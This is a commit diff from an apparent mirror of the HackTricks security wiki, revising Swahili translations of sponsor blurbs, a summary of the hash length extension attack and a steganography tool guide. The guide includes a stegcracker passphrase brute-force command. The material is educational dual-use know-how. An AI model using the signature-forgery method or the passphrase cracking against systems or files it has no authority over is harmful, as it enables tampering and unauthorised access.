mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
Translator
parent
76685e0a89
commit
f72d000ba5
86 changed files with 1794 additions and 3310 deletions
48
README.md
48
README.md
|
|
@ -42,9 +42,9 @@ Unaweza kuangalia **blogu** yao katika [**https://blog.stmcyber.com**](https://b
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** ni **jukwaa nambari moja** la udukuzi wa kimaadili na **bug bounty** barani **Ulaya**.
|
||||
**Intigriti** ni **jukwaa la udukuzi wa kimaadili na bug bounty nambari moja barani Ulaya.**
|
||||
|
||||
**Nasaha ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la kiwango cha juu lililotengenezwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||
**Nasaha ya bug bounty**: **jiandikishe** kwa **Intigriti**, jukwaa la **bug bounty la premium lililoundwa na hackers, kwa hackers**! Jiunge nasi katika [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) leo, na anza kupata zawadi hadi **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
|
@ -69,7 +69,7 @@ Pata Ufikiaji Leo:
|
|||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!
|
||||
|
||||
* **Maoni ya Udukuzi:** Jihusishe na maudhui yanayochambua msisimko na changamoto za udukuzi
|
||||
* **Maoni ya Udukuzi:** Jihusishe na maudhui yanayoangazia msisimko na changamoto za udukuzi
|
||||
* **Habari za Udukuzi kwa Wakati Halisi:** Fuata habari za haraka za ulimwengu wa udukuzi kupitia habari na maoni ya wakati halisi
|
||||
* **Matangazo ya Karibuni:** Kuwa na habari kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa
|
||||
|
||||
|
|
@ -87,54 +87,20 @@ Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serve
|
|||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi inatoa APIs za wakati halisi kwa haraka na kwa urahisi ili **kupata matokeo ya injini za utafutaji**. Wanakusanya data kutoka kwa injini za utafutaji, kushughulikia proxies, kutatua captchas, na kuchambua data yote yenye muundo wa kina kwa ajili yako.
|
||||
|
||||
Usajili wa moja ya mipango ya SerpApi unajumuisha ufikiaji wa zaidi ya APIs 50 tofauti za kukusanya data kutoka kwa injini tofauti za utafutaji, ikiwa ni pamoja na Google, Bing, Baidu, Yahoo, Yandex, na zaidi.\
|
||||
Tofauti na watoa huduma wengine, **SerpApi haisafishi tu matokeo ya asili**. Majibu ya SerpApi mara kwa mara yanajumuisha matangazo yote, picha na video za ndani, grafu za maarifa, na vipengele na sifa nyingine zilizopo katika matokeo ya utafutaji.
|
||||
|
||||
Wateja wa sasa wa SerpApi ni pamoja na **Apple, Shopify, na GrubHub**.\
|
||||
Kwa maelezo zaidi angalia [**blogu**](https://serpapi.com/blog/)** yao,** au jaribu mfano katika [**sehemu yao ya majaribio**](https://serpapi.com/playground)**.**\
|
||||
Unaweza **kuunda akaunti ya bure** [**hapa**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) ni kampuni ya kitaalamu ya usalama wa mtandao iliyo na makao yake nchini **Amsterdam** ambayo inasaidia **kulinda** biashara **duniani kote** dhidi ya vitisho vya hivi karibuni vya usalama wa mtandao kwa kutoa **huduma za usalama wa mashambulizi** kwa njia ya **kisasa**.
|
||||
|
||||
WebSec ni kampuni ya **usalama wa kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Utekelezaji, Utaalamu wa Usalama wa Kukodisha na mengi zaidi.
|
||||
WebSec ni **kampuni ya usalama ya kila kitu** ambayo inamaanisha wanafanya kila kitu; Pentesting, **Ukaguzi wa** Usalama, Mafunzo ya Uelewa, Kampeni za Phishing, Mapitio ya Kanuni, Maendeleo ya Utekelezaji, Utaalamu wa Usalama wa Kuajiri na mengi zaidi.
|
||||
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango ambacho **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
|
||||
Jambo lingine zuri kuhusu WebSec ni kwamba tofauti na wastani wa sekta WebSec ni **na uhakika sana katika ujuzi wao**, hadi kiwango kwamba **wanahakikishia matokeo bora**, inasema kwenye tovuti yao "**Ikiwa hatuwezi kuikabili, Hupaswi kulipa!**". Kwa maelezo zaidi angalia [**tovuti yao**](https://websec.nl/en/) na [**blogu**](https://websec.nl/blog/)!
|
||||
|
||||
Mbali na hayo WebSec pia ni **mshabiki aliyejitolea wa HackTricks.**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotokana na **dark-web** ambayo inatoa **kazi za bure** za kuangalia ikiwa kampuni au wateja wake wamekuwa **na matatizo** na **malware ya kuiba**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bila malipo** katika:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
|
|
@ -158,8 +124,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki hila za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Summary of the attack
|
||||
|
||||
Fikiria seva ambayo inasaini baadhi ya **data** kwa kuongezea **siri** kwa baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
|
||||
Fikiria seva ambayo inasaini baadhi ya data kwa kuunganisha siri na baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
|
||||
|
||||
* **Urefu wa siri** (hii inaweza pia kubruteforced kutoka kwa anuwai ya urefu iliyotolewa)
|
||||
* **Urefu wa siri** (hii inaweza pia kufanywa kwa nguvu kutoka kwa anuwai ya urefu iliyotolewa)
|
||||
* **Data ya wazi**
|
||||
* **Algorithimu (na inahatarishwa na shambulio hili)**
|
||||
* **Algorithimu (na inahatarishwa kwa shambulio hili)**
|
||||
* **Padding inajulikana**
|
||||
* Kawaida moja ya chaguo-msingi inatumika, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inafanya hivyo
|
||||
* Padding inatofautiana kulingana na urefu wa siri + data, ndivyo maana urefu wa siri unahitajika
|
||||
* Kawaida padding ya chaguo-msingi hutumiwa, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inakidhi
|
||||
* Padding hubadilika kulingana na urefu wa siri + data, ndivyo maana urefu wa siri unahitajika
|
||||
|
||||
Basi, inawezekana kwa **mshambuliaji** ku **ongeza** **data** na **kuunda** **sahihi** halali kwa **data ya awali + data iliyoongezwa**.
|
||||
|
||||
|
|
@ -51,8 +38,8 @@ Ikiwa mshambuliaji anataka kuongeza mfuatano "ongeza" anaweza:
|
|||
|
||||
* Kuunda MD5 ya "A" 64
|
||||
* Kubadilisha hali ya hash iliyowekwa awali kuwa 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Ongeza mfuatano "ongeza"
|
||||
* Maliza hash na hash inayotokana itakuwa **halali kwa "siri" + "data" + "padding" + "ongeza"**
|
||||
* Kuongeza mfuatano "ongeza"
|
||||
* Kumaliza hash na hash inayotokana itakuwa **halali kwa "siri" + "data" + "padding" + "ongeza"**
|
||||
|
||||
### **Tool**
|
||||
|
||||
|
|
@ -60,19 +47,9 @@ Ikiwa mshambuliaji anataka kuongeza mfuatano "ongeza" anaweza:
|
|||
|
||||
### References
|
||||
|
||||
Unaweza kupata shambulio hili limeelezewa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Unaweza kupata shambulio hili limeelezwa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -1,63 +1,55 @@
|
|||
# Mbinu za Stego
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Kuchambua Data kutoka kwa Faili**
|
||||
## **Kutoa Data kutoka kwa Faili**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
Zana ya kutafuta faili za binary kwa faili zilizofichwa na data. Inasakinishwa kupitia `apt` na chanzo chake kinapatikana kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
Zana ya kutafuta faili za binary kwa ajili ya faili na data zilizofichwa. Inapatikana kwa usakinishaji kupitia `apt` na chanzo chake kinapatikana kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **Kwanza kabisa**
|
||||
### **Foremost**
|
||||
|
||||
Inapata faili kulingana na vichwa vyao na miguu, inayofaa kwa picha za png. Imewekwa kupitia `apt` na chanzo chake kwenye [GitHub](https://github.com/korczis/foremost).
|
||||
Inarejesha faili kulingana na vichwa na miguu yao, muhimu kwa picha za png. Imewekwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
Inasaidia kuangalia metadata ya faili, inapatikana [hapa](https://www.sno.phy.queensu.ca/~phil/exiftool/).
|
||||
Inasaidia kuona metadata ya faili, inapatikana [hapa](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
Sawa na exiftool, kwa kuangalia metadata. Inaweza kusakinishwa kupitia `apt`, chanzo kiko kwenye [GitHub](https://github.com/Exiv2/exiv2), na ina tovuti rasmi kwenye [website](http://www.exiv2.org/).
|
||||
Kama exiftool, kwa ajili ya kuangalia metadata. Inaweza kusakinishwa kupitia `apt`, chanzo kwenye [GitHub](https://github.com/Exiv2/exiv2), na ina [tovuti rasmi](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **Faili**
|
||||
### **File**
|
||||
|
||||
Tambua aina ya faili unayoshughulika nayo.
|
||||
|
||||
### **Maneno**
|
||||
### **Strings**
|
||||
|
||||
Chambua maneno yanayoweza kusomwa kutoka kwenye faili, ukitumia mipangilio mbalimbali ya uendeshaji ili kuchuja matokeo.
|
||||
Hutoa maandiko yanayosomika kutoka kwa faili, kwa kutumia mipangilio mbalimbali ya uandishi ili kuchuja matokeo.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
|
@ -69,42 +61,42 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **Kulinganisha (cmp)**
|
||||
### **Comparison (cmp)**
|
||||
|
||||
Inatumika kulinganisha faili iliyobadilishwa na toleo lake la asili lililopatikana mtandaoni.
|
||||
Inatumika kulinganisha faili iliyobadilishwa na toleo lake asilia lililopatikana mtandaoni.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **Kuondoa Data Iliyofichwa kwenye Matini**
|
||||
## **Kutoa Takwimu Zilizofichwa Katika Maandishi**
|
||||
|
||||
### **Data Iliyofichwa kwenye Nafasi**
|
||||
### **Takwimu Zilizofichwa Katika Nafasi**
|
||||
|
||||
Vipengele visivyoonekana kwenye nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuondoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
Makarakteri yasiyoonekana katika nafasi zinazonekana kuwa tupu yanaweza kuficha taarifa. Ili kutoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||
|
||||
## **Kuondoa Data kutoka kwenye Picha**
|
||||
## **Kutoa Takwimu Kutoka kwa Picha**
|
||||
|
||||
### **Kutambua Maelezo ya Picha kwa Kutumia GraphicMagick**
|
||||
### **Kutambua Maelezo ya Picha kwa kutumia GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa picha. Tekeleza amri ifuatayo kuangalia picha:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kubaini aina za faili za picha na kutambua uwezekano wa uharibifu. Teua amri iliyo hapa chini ili kukagua picha:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Kujaribu kurekebisha picha iliyoharibika, kuongeza maoni ya metadata inaweza kusaidia:
|
||||
Ili kujaribu kurekebisha picha iliyo haribika, kuongeza maoni ya metadata kunaweza kusaidia:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Steghide kwa Kuficha Data**
|
||||
|
||||
Steghide inarahisisha kuficha data ndani ya faili za `JPEG, BMP, WAV, na AU`, inayoweza kuingiza na kutoa data iliyofichwa kwa njia ya kielelezo. Usakinishaji ni wa moja kwa moja kwa kutumia `apt`, na [micho yake ya chanzo inapatikana kwenye GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide inarahisisha kuficha data ndani ya `JPEG, BMP, WAV, na AU` faili, ina uwezo wa kuingiza na kutoa data iliyosimbwa. Usanidi ni rahisi kutumia `apt`, na [kanuni yake ya chanzo inapatikana kwenye GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Amri:**
|
||||
|
||||
* `steghide info file` inaonyesha ikiwa faili ina data iliyofichwa.
|
||||
* `steghide info file` inaonyesha kama faili ina data iliyofichwa.
|
||||
* `steghide extract -sf file [--passphrase password]` inatoa data iliyofichwa, nenosiri ni hiari.
|
||||
|
||||
Kwa uchimbaji wa wavuti, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
||||
Kwa utoaji wa mtandaoni, tembelea [tovuti hii](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Shambulio la Kuforce la Stegcracker:**
|
||||
**Shambulio la Bruteforce na Stegcracker:**
|
||||
|
||||
* Ili kujaribu kuvunja nenosiri kwenye Steghide, tumia [stegcracker](https://github.com/Paradoxis/StegCracker.git) kama ifuatavyo:
|
||||
```bash
|
||||
|
|
@ -112,69 +104,69 @@ stegcracker <file> [<wordlist>]
|
|||
```
|
||||
### **zsteg kwa Faili za PNG na BMP**
|
||||
|
||||
zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, na chanzo chake kiko kwenye [GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg inajikita katika kugundua data iliyofichwa katika faili za PNG na BMP. Usanidi unafanywa kupitia `gem install zsteg`, ikiwa na [chanzo kwenye GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Amri:**
|
||||
|
||||
* `zsteg -a faili` inatumia njia zote za ugunduzi kwenye faili.
|
||||
* `zsteg -E faili` inabainisha mzigo wa data kwa uchimbaji.
|
||||
* `zsteg -a file` inatumia mbinu zote za kugundua kwenye faili.
|
||||
* `zsteg -E file` inaelezea payload kwa ajili ya uchimbaji wa data.
|
||||
|
||||
### **StegoVeritas na Stegsolve**
|
||||
|
||||
**stegoVeritas** huchunguza metadata, hufanya mabadiliko ya picha, na kutumia nguvu ya LSB miongoni mwa sifa zingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguo na `stegoveritas.py stego.jpg` kutekeleza uchunguzi wote.
|
||||
**stegoVeritas** inakagua metadata, inafanya mabadiliko ya picha, na inatumia LSB brute forcing miongoni mwa vipengele vingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguzi na `stegoveritas.py stego.jpg` kutekeleza ukaguzi wote.
|
||||
|
||||
**Stegsolve** inatumia vichujio vya rangi mbalimbali kufunua maandishi au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** inatumia filters mbalimbali za rangi kufichua maandiko au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT kwa Ugunduzi wa Yaliyofichwa**
|
||||
### **FFT kwa Ugunduzi wa Maudhui ya Fichwa**
|
||||
|
||||
Mbinu za Fast Fourier Transform (FFT) zinaweza kufunua yaliyofichwa katika picha. Vyanzo muhimu ni pamoja na:
|
||||
Mbinu za Fast Fourier Transform (FFT) zinaweza kufichua maudhui yaliyofichwa katika picha. Rasilimali muhimu ni pamoja na:
|
||||
|
||||
* [Demos ya EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic kwenye GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy kwa Faili za Sauti na Picha**
|
||||
|
||||
Stegpy inaruhusu kuingiza habari kwenye faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy inaruhusu kuingiza taarifa katika faili za picha na sauti, ikisaidia fomati kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
|
||||
|
||||
Kufanya uchambuzi wa faili za PNG au kuthibitisha uhalali wao, tumia:
|
||||
Ili kuchambua faili za PNG au kuthibitisha uhalali wao, tumia:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Zana Zaidi kwa Uchambuzi wa Picha**
|
||||
### **Zana Zingine za Uchambuzi wa Picha**
|
||||
|
||||
Kwa uchunguzi zaidi, tafadhali tembelea:
|
||||
Kwa uchunguzi zaidi, fikiria kutembelea:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Uchambuzi wa Kiwango cha Hitilafu ya Picha](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Kuchambua Data kutoka kwenye Audios**
|
||||
## **Kutoa Data kutoka kwa Sauti**
|
||||
|
||||
**Steganografia ya sauti** inatoa njia ya kipekee ya kuficha habari ndani ya faili za sauti. Zana tofauti hutumiwa kwa kuingiza au kupata maudhui yaliyofichwa.
|
||||
**Steganografia ya sauti** inatoa njia ya kipekee ya kuficha habari ndani ya faili za sauti. Zana tofauti hutumiwa kwa ajili ya kuingiza au kupata maudhui yaliyofichwa.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide ni zana yenye uwezo wa kuficha data katika faili za JPEG, BMP, WAV, na AU. Maelekezo ya kina yanapatikana katika [hati ya mbinu za stego](stego-tricks.md#steghide).
|
||||
Steghide ni zana yenye uwezo wa kuficha data katika faili za JPEG, BMP, WAV, na AU. Maelekezo ya kina yanapatikana katika [nyaraka za stego tricks](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
Zana hii inaweza kutumika na aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GIF, WebP, na WAV. Kwa maelezo zaidi, tazama [sehemu ya Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
Zana hii inafaa kwa aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GIF, WebP, na WAV. Kwa maelezo zaidi, rejelea [sehemu ya Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg ni muhimu kwa ajili ya kutathmini uadilifu wa faili za sauti, kutoa maelezo ya kina na kutambua tofauti yoyote.
|
||||
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, ikionyesha maelezo ya kina na kubaini tofauti zozote.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg inafanya vizuri katika kuficha na kutoa data ndani ya faili za WAV kwa kutumia mkakati wa biti isiyo muhimu zaidi. Inapatikana kwenye [GitHub](https://github.com/ragibson/Steganography#WavSteg). Amri zinajumuisha:
|
||||
WavSteg inajulikana kwa kuficha na kutoa data ndani ya faili za WAV kwa kutumia mkakati wa bit isiyo na umuhimu. Inapatikana kwenye [GitHub](https://github.com/ragibson/Steganography#WavSteg). Amri ni:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
|
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound inaruhusu kusimbwa na kugunduliwa kwa habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound inaruhusu usimbaji na kugundua habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
